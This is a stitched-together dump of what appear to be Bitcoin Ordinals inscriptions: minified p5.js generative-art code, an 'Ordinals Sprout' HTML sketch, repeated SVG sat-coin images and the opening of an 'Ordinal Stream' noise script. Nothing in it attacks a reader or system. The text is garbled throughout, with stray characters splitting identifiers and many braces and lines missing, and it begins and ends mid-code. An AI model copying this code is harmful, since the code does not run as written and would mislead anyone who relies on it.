eateVector(p[0],p[1]);var s=interpolate_coord(p[0],p[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector(p[0],p[1])),cells[s].spot2=!0,cells[s].spot)){this.fBool4=cells[s].pos.every(e=>dist(e.x,e.y,p[0],p[1])>0);break}}}}},this.display=function(e){noFill(),strokeWeight(strk),beginShape();let f=this.maj1;for(let l=0;l<f.length;l++)vertex(f[l][0],f[l][1]);endShape(),beginShape();let i=this.min;for(let c=0;c<i.length;c++)vertex(i[c][0],i[c][1]);endShape(),beginShape();let s=this.maj2;for(let a=0;a<s.length;a++)veM
rtex(s[a][0],s[a][1]);endShape(),beginShape();let _=this.min2;for(let $=0;$<_.length;$++)vertex(_[$][0],_[$][1]);endShape()},this.edges=function(){(this.iniPos.x>width/2||this.iniPos.x<-width/2||this.iniPos.y>height/2||this.iniPos.y<-height/2)&&(this.fBool=!1),(this.iniPos2.x>width/2||this.iniPos2.x<-width/2||this.iniPos2.y>height/2||this.iniPos2.y<-height/2)&&(this.fBool2=!1),(this.iniPos3.x>width/2||this.iniPos3.x<-width/2||this.iniPos3.y>height/2||this.iniPos3.y<-height/2)&&(this.fBool3=!1),(this.iniPos4.x>widthM
/2||this.iniPos4.x<-width/2||this.iniPos4.y>height/2||this.iniPos4.y<-height/2)&&(this.fBool4=!1)},this.other=function(e){let f=this.iniPos.x,l=this.iniPos.y;var i=interpolate_coord(f,l,dsep,xx);e[i]&&e[i].pos&&e[i].spot2&&(this.fBool=e[i].pos.every(e=>dist(e.x,e.y,f,l)>0));let c=this.iniPos2.x,s=this.iniPos2.y;var a=interpolate_coord(c,s,dsep,xx);e[a]&&e[a].pos&&e[a].spot&&(this.fBool2=e[a].pos.every(e=>dist(e.x,e.y,c,s)>0));let _=this.iniPos3.x,$=this.iniPos3.y;var o=interpolate_coord(_,$,dsep,xx);e[o]&&e[o].pos&M
&e[o].spot2&&(this.fBool3=e[o].pos.every(e=>dist(e.x,e.y,_,$)>0));let n=this.iniPos4.x,r=this.iniPos4.y;var d=interpolate_coord(n,r,dsep,xx);e[d]&&e[d].pos&&e[d].spot&&(this.fBool4=e[d].pos.every(e=>dist(e.x,e.y,n,r)>0))}}function newParticle3(e){let f=!1,l,i,c,s;for(;!f;){l=random(width),i=random(height),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2);let a=floor(l/dsep)+1,_=floor(i/dsep)+1;if(a>0&&_>0&&a<xx-1&&_<yy-1){let $=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1M
],[a+1,_+1]],o=[];for(let n of $){let r=n[0]+n[1]*xx;o.push(...cells[r].pos)}f=o.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}}return f?new Integral_line(l,i,e):null}function newParticle4(e,f){let l=!1,i,c,s,a;for(;!l;){let _=[];for(let $ in integral_lines)integral_lines.length,"major"===e?0===f?_.push(...integral_lines[$].maj1):1===f&&_.push(...integral_lines[$].maj2):"minor"===e&&(0===f?_.push(...integral_lines[$].min):1===f&&_.push(...integral_lines[$].min2));let o=int(random(_.length-1)),n=_[o];_.findIndM
ex(e=>e[0]===n[0]&&e[1]===n[1]);let r=_.find((e,f)=>f===o+1);if(r){let d=r[0]-n[0],b=r[1]-n[1],p=sqrt(d*d+b*b),u=d/p,x=-(b/p),y=u;i=n[0]+x*dsep,c=n[1]+y*dsep,s=map(i,-width/2,width/2,0,width),a=map(c,-height/2,height/2,0,height);let g=floor(s/dsep),P=floor(a/dsep);if(g>0&&P>0&&g<xx-1&&P<yy-1){let m=[[g,P],[g-1,P-1],[g,P-1],[g+1,P-1],[g-1,P],[g+1,P],[g-1,P+1],[g,P+1],[g+1,P+1]],v=[];for(let j of m){let B=j[0]+j[1]*xx;v.push(...cells[B].pos)}l=v.every(function(e){return dist(e.x,e.y,i,c)>dsep-1})}}if(5>=frameRate())bM
reak}return l?new Integral_line(s,a,e):null}function newParticle5(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=0;a<floor(xx/2);a++)for(let _=0;_<floor(yy/2);_++){var $=a+_*xx;if(cells[$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[M
1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function newParticle6(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=xx-1;a>=floor(xx/2);a--)for(let _=yy-1;_>=floor(yy/2);_--){var $=a+_*xx;if(cells[$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=M
[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function newParticle51(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=0;a<floor(xx/2);a++)for(let _=floor(yy/2);_<yy;_++){var $=a+_*xx;if(cells[$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5M
,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function newParticle52(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=xx-1;a>=floor(xx/2);a--)for(let _=floor(yy/2);_>=0;_--){var $=a+_*xx;if(cells[M
$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function RK4step(e,f,l){let i=math.mM
ultiply(e(f),l),c=math.multiply(e(math.add(f,math.multiply(.5,i))),l),s=math.multiply(e(math.add(f,math.multiply(.5,c))),l),a=math.multiply(e(math.add(f,s)),l);return math.add(f,math.divide(math.add(math.add(math.add(i,math.multiply(2,c)),math.multiply(2,s)),a),6))}function RK4integrate(e,f,l){let i=math.zeros(l.length,f.length);i._data[0]=f;for(let c=1;c<l.length;c++)i._data[c]=RK4step(e,i._data[c-1],l[c]-l[c-1]);return i._data}let f4=function(e){e[0],e[1];let f=e[2],l=e[3];return[f,l,-l,f]};function interpolate_cM
oord(e,f,l,i){let c=floor(map(e,-width/2,width/2,0,width)/l),s=floor(map(f,-height/2,height/2,0,height)/l);return c+s*i}function makeArr(e,f,l){for(var i=[],c=(f-e)/(l-1),s=0;s<l;s++)i.push(e+c*s);return i}const range=(e,f,l)=>Array.from({length:(f-e)/l+1},(f,i)=>e+i*l);function windowResized(){centerCanvas()}function keyTyped(){return"p"===key&&saveCanvas("diffusion","jpg"),!1}function touchStarted(){return 3===touches.length&&saveCanvas("diffusion","jpg"),!1}
    <script id="snippet-random-code" tM
ype="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.lengM
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ MathM
.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u <M
< 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            background-color: #fefefe;
            margin: 0px;
            overflow: hidden;
            width: 100%;
            height: 100%;
    <script type="text/javascript">
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Ordinals Sprout</title>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdeM
fghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 271604M
4179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            display: flex;
            position: fixed;
            right: 0;
            bottom: 0;
            color: #fff;
            background-color: #000;
            justify-content: center;
            align-items: center;
            margin: 0;
            padding: 0;
            font-size: .8em
        #fullScreen canvas,
 object-fit: contain;
            max-height: 100%;
            max-width: 100%
        #fullScreen {
            justify-content: center;
            align-items: center
    <script type="text/javascript">
        const rand = mathRand();
        //////////////// FEATURES
        let myTitle = "ORDINALS SPROUT";
        console.log(myTitle + " | SMLDMS 2023.02")
        let globalSize = 1000;
        let myString = "ORDINALS"
        let textAlpha = 160;
        let strokeAlpha = 127;
        let strokeColor = 0;
        let strokeSize = 1;
        let fontSize;
        let fontSampleFactor = mathRandBetween(0.15, 0.33); //How many points there are: the higher the number, the closer together they are (more detail)
        let simplifyFactor = 0.0; // 0 is normal
        let noiseZoom = mathRandBetween(0.033, 0.01) //how zoomed in the perlin noise is (0.05 to 0.01)
        let noiseOctaves = mathRandBetween(1, M
50); //The number of octaves for the noise
        let noiseFalloff = mathRandBetween(0.4, 0.6); //The falloff for the noise layers
        let zOffsetChange = 0.1; //How much the noise field changes in the z direction each frame
        let individualZOffset = 0.01; //how far away the points/lines are from each other in the z noise axies (the bigger the number, the more chaotic)
        let speedFactor = mathRandBetween(10, 100);
        let lineSpeed = speedFactor; //the maximum amount each point can move M
        let points = [];
        let startingPoints;
        let maxFrame = 100;
        function preload() {
            font = loadFont("https://gateway.pinata.cloud/ipfs/QmYhhjHt9J8N1CXQnHdNRAt7c1BmzyUsdw8s1stfeDJrP5");
        function setup() {
            randomSeed(seed);
            noiseSeed(seed);
            cnv = createCanvas(globalSize * 1.77, globalSize);
            cnv.parent('fullScreen');
            rectMode(CENTER)
        angleMode(DEGREES)
            pixelDensity(2)
            fontSize = width * 0.1618
            textFont(font);
            textSize(fontSize);
            textAlign(CENTER, BASELINE)
            noFill()
            stroke(strokeColor);
            strokeWeight(strokeSize)
            background(0)
            for (let i = 0; i < 25; i++) {
                push()
                fill(255)
                noStroke()
                rect(mathRand() * width, mathRand() * height, mathRandBetweenM
                pop()
            fill(255)
            noStroke()
            rect(width / 2, height / 2, width, height * 0.45)
            for (let i = 0; i < 50; i++) {
                push()
                fill(0)
                noStroke()
                rect(mathRand() * width, mathRand() * height, mathRandBetween(5, 150))
                pop()
            grainy(15)
            noiseDetail(noiseOctaves, noiseFalloffM
            translate(0, 50)
            makeTxt(myString, width / 2, height * 0.55);
            grainy(5)
        function makeTxt(string, x, y) {
            startingPoints = font.textToPoints(string, x - textWidth(string) / 2, y, fontSize, {
                sampleFactor: fontSampleFactor,
                simplifyThreshold: simplifyFactor
            for (let p = 0; p < startingPoints.length; p++) {
                points[p] = startingPoints[p];
                pointsM
[p].zOffset = random();
            if (showText) {
                stroke(strokeColor, strokeAlpha);
                fill(255, 255);
                text(myString, x, y);
            for (let i = 0; i <= maxFrame; i++) {
                for (let pt = 0; pt < points.length; pt++) {
                    let p = points[pt];
                    let noiseX = p.x * noiseZoom;
                    let noiseY = p.y * noiseZoom;
                    let noiseZ = frameCount * zOffsetM
Change + p.zOffset * individualZOffset;
                    lineSpeed = map(pt, 0, startingPoints.length, -speedFactor, speedFactor)
                    let newPX = p.x + map(noise(noiseX, noiseY, noiseZ), 0, 1, -lineSpeed, lineSpeed);
                    let newPY = p.y + map(noise(noiseX, noiseY, noiseZ + 23), 0, 1, -lineSpeed, lineSpeed);
                    if (i < maxFrame) {
                        rect(p.x, p.y, globalSize / 125)
                    }
                    else {
                    }
                    p.x = newPX;
                    p.y = newPY;
        function grainy(force) {
            _seed = floor(mathRand() * 999999)
            randomSeed(_seed)
            noiseSeed(_seed)
            loadPixels();
            let d = pixelDensity();
            let halfImage = 4 * (width * d) * (height * d);
            for (let i = 0; i < halfImage; i += 4) {
                grainAmount = random(-force, force);
                pixels[i] = M
pixels[i] + grainAmount;
                pixels[i + 1] = pixels[i + 1] + grainAmount;
                pixels[i + 2] = pixels[i + 2] + grainAmount;
                pixels[i + 3] = pixels[i + 3] + grainAmount
            updatePixels();
        function keyTyped() {
            if (keyCode === 83) { // if "s" is pressed
                save(myTitle + '.png');
        function mathRandBetween(a, b) {
            if (!b) {
                return mathRandL
            return mathRand() * (b - a) + a
    <div id="fullScreen"> </div>
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077132</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077132   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503076932</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503076932   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077032</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077032   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Ordinal Stream</title>
    <script type="text/javascript">
       (()=>{var $t=Object.create;var Gt=Object.defineProperty;var Ht=Object.getOwnPropertyDescriptor;var Jt=Object.getOwnPropertyNames;var Kt=Object.getPrototypeOf,Lt=Object.prototype.hasOwnProperty;var Ut=(o,n)=>()=>(n||o((n={exports:{}}).exports,n),n.exports);var Zt=(o,n,e,t)=>{if(n&&typeof n=="object"||typeof n=="function")for(let i of Jt(n))!Lt.call(o,i)&&i!==e&&Gt(o,i,{M
get:()=>n[i],enumerable:!(t=Ht(n,i))||t.enumerable});return o};var Ot=(o,n,e)=>(e=o!=null?$t(Kt(o)):{},Zt(n||!o||!o.__esModule?Gt(e,"default",{value:o,enumerable:!0}):e,o));var Tt=Ut((Ft,_t)=>{(function(o,n){typeof Ft=="object"?_t.exports=n():typeof define=="function"&&define.amd?define(n):o.Alea=n()})(Ft,function(){"use strict";return o.importState=function(e){var t=new o;return t.importState(e),t},o;function o(){return function(e){var t=0,i=0,r=0,l=1;e.length==0&&(e=[+new Date]);var s=n();t=s(" "),i=s(" "),r=s(" M
");for(var f=0;f<e.length;f++)t-=s(e[f]),t<0&&(t+=1),i-=s(e[f]),i<0&&(i+=1),r-=s(e[f]),r<0&&(r+=1);s=null;var c=function(){var h=2091639*t+l*23283064365386963e-26;return t=i,i=r,r=h-(l=h|0)};return c.next=c,c.uint32=function(){return c()*4294967296},c.fract53=function(){return c()+(c()*2097152|0)*11102230246251565e-32},c.version="Alea 0.9",c.args=e,c.exportState=function(){return[t,i,r,l]},c.importState=function(h){t=+h[0]||0,i=+h[1]||0,r=+h[2]||0,l=+h[3]||0},c}(Array.prototype.slice.call(arguments))}function n(){vM
ar e=4022871197,t=function(i){i=i.toString();for(var r=0;r<i.length;r++){e+=i.charCodeAt(r);var l=.02519603282416938*e;e=l>>>0,l-=e,l*=e,e=l>>>0,l-=e,e+=l*4294967296}return(e>>>0)*23283064365386963e-26};return t.version="Mash 0.9",t}})});var le=.5*(Math.sqrt(3)-1),re=(3-Math.sqrt(3))/6,Qt=1/3,Y=1/6,ae=(Math.sqrt(5)-1)/4,ce=(5-Math.sqrt(5))/20,bt=o=>Math.floor(o)|0;var At=new Float64Array([1,1,0,-1,1,0,1,-1,0,-1,-1,0,1,0,1,-1,0,1,1,0,-1,-1,0,-1,0,1,1,0,-1,1,0,1,-1,0,-1,-1]);function Dt(o=Math.random){let n=Vt(o),e=nM
ew Float64Array(n).map(r=>At[r%12*3]),t=new Float64Array(n).map(r=>At[r%12*3+1]),i=new Float64Array(n).map(r=>At[r%12*3+2]);return function(l,s,f){let c,h,a,j,d=(l+s+f)*Qt,y=bt(l+d),v=bt(s+d),u=bt(f+d),x=(y+v+u)*Y,C=y-x,I=v-x,b=u-x,k=l-C,G=s-I,R=f-b,S,B,N,A,D,_;k>=G?G>=R?(S=1,B=0,N=0,A=1,D=1,_=0):k>=R?(S=1,B=0,N=0,A=1,D=0,_=1):(S=0,B=0,N=1,A=1,D=0,_=1):G<R?(S=0,B=0,N=1,A=0,D=1,_=1):k<R?(S=0,B=1,N=0,A=0,D=1,_=1):(S=0,B=1,N=0,A=1,D=1,_=0);let V=k-S+Y,tt=G-B+Y,et=R-N+Y,nt=k-A+2*Y,ot=G-D+2*Y,Mt=R-_+2*Y,kt=k-1+3*Y,jt=G-M
1+3*Y,xt=R-1+3*Y,pt=y&255,mt=v&255,dt=u&255,at=.6-k*k-G*G-R*R;if(at<0)c=0;else{let z=pt+n[mt+n[dt]];at*=at,c=at*at*(e[z]*k+t[z]*G+i[z]*R)}let ct=.6-V*V-tt*tt-et*et;if(ct<0)h=0;else{let z=pt+S+n[mt+B+n[dt+N]];ct*=ct,h=ct*ct*(e[z]*V+t[z]*tt+i[z]*et)}let ht=.6-nt*nt-ot*ot-Mt*Mt;if(ht<0)a=0;else{let z=pt+A+n[mt+D+n[dt+_]];ht*=ht,a=ht*ht*(e[z]*nt+t[z]*ot+i[z]*Mt)}let ft=.6-kt*kt-jt*jt-xt*xt;if(ft<0)j=0;else{let z=pt+1+n[mt+1+n[dt+1]];ft*=ft,j=ft*ft*(e[z]*kt+t[z]*jt+i[z]*xt)}return 32*(c+h+a+j)}}function Vt(o){let e=new M
Uint8Array(512);for(let t=0;t<512/2;t++)e[t]=t;for(let t=0;t<512/2-1;t++){let i=t+~~(o()*(256-t)),r=e[t];e[t]=e[i],e[i]=r}for(let t=256;t<512;t++)e[t]=e[t-256];return e}var Xt=Ot(Tt(),1),$,p,M=[],qt,Rt,St,q,Z,X=10,wt=0,Q,vt=.06,it=0,w,P,st,lt,K,m=[],W=3,g,F,It=0,Et=0,te=.2,T,Bt;function ee(){var o=document.querySelector("body");$=document.createElement("canvas"),o.appendChild($),p=$.getContext("2d"),window.innerWidth<window.innerHeight?K=window.innerWidth:K=window.innerHeight;let n=J(mathRand(),0,1,0,3)|0,e;n===0?(M
st=K,lt=st*.7,e="7:5"):n===1?(lt=K,st=lt*.7,e="5:7"):n===2&&(st=K,lt=K,e="1:1");let t=window.devicePixelRatio;$.width=st*t|0,$.height=lt*t|0,$.style.width=`${st}px`,$.style.height=`${lt}px`,w=$.width/t,P=$.height/t,p.scale(t,t),Bt=Math.round(Math.min(Math.max(K/700,.5),1)*10)/10,p.imageSmoothingEnabled=!0,p.lineWidth=Bt,p.lineCap="round",p.lineJoin="round";let i=Math.floor(mathRand()*19021990);Q=Dt((0,Xt.default)(i)),X=K/175|0,q=w/X+1|0,Z=P/X+1|0,g=w/W|0,F=P/W|0,qt=new Array(q*Z),St=new Array(q*Z),Rt=new Array(q*Z)M
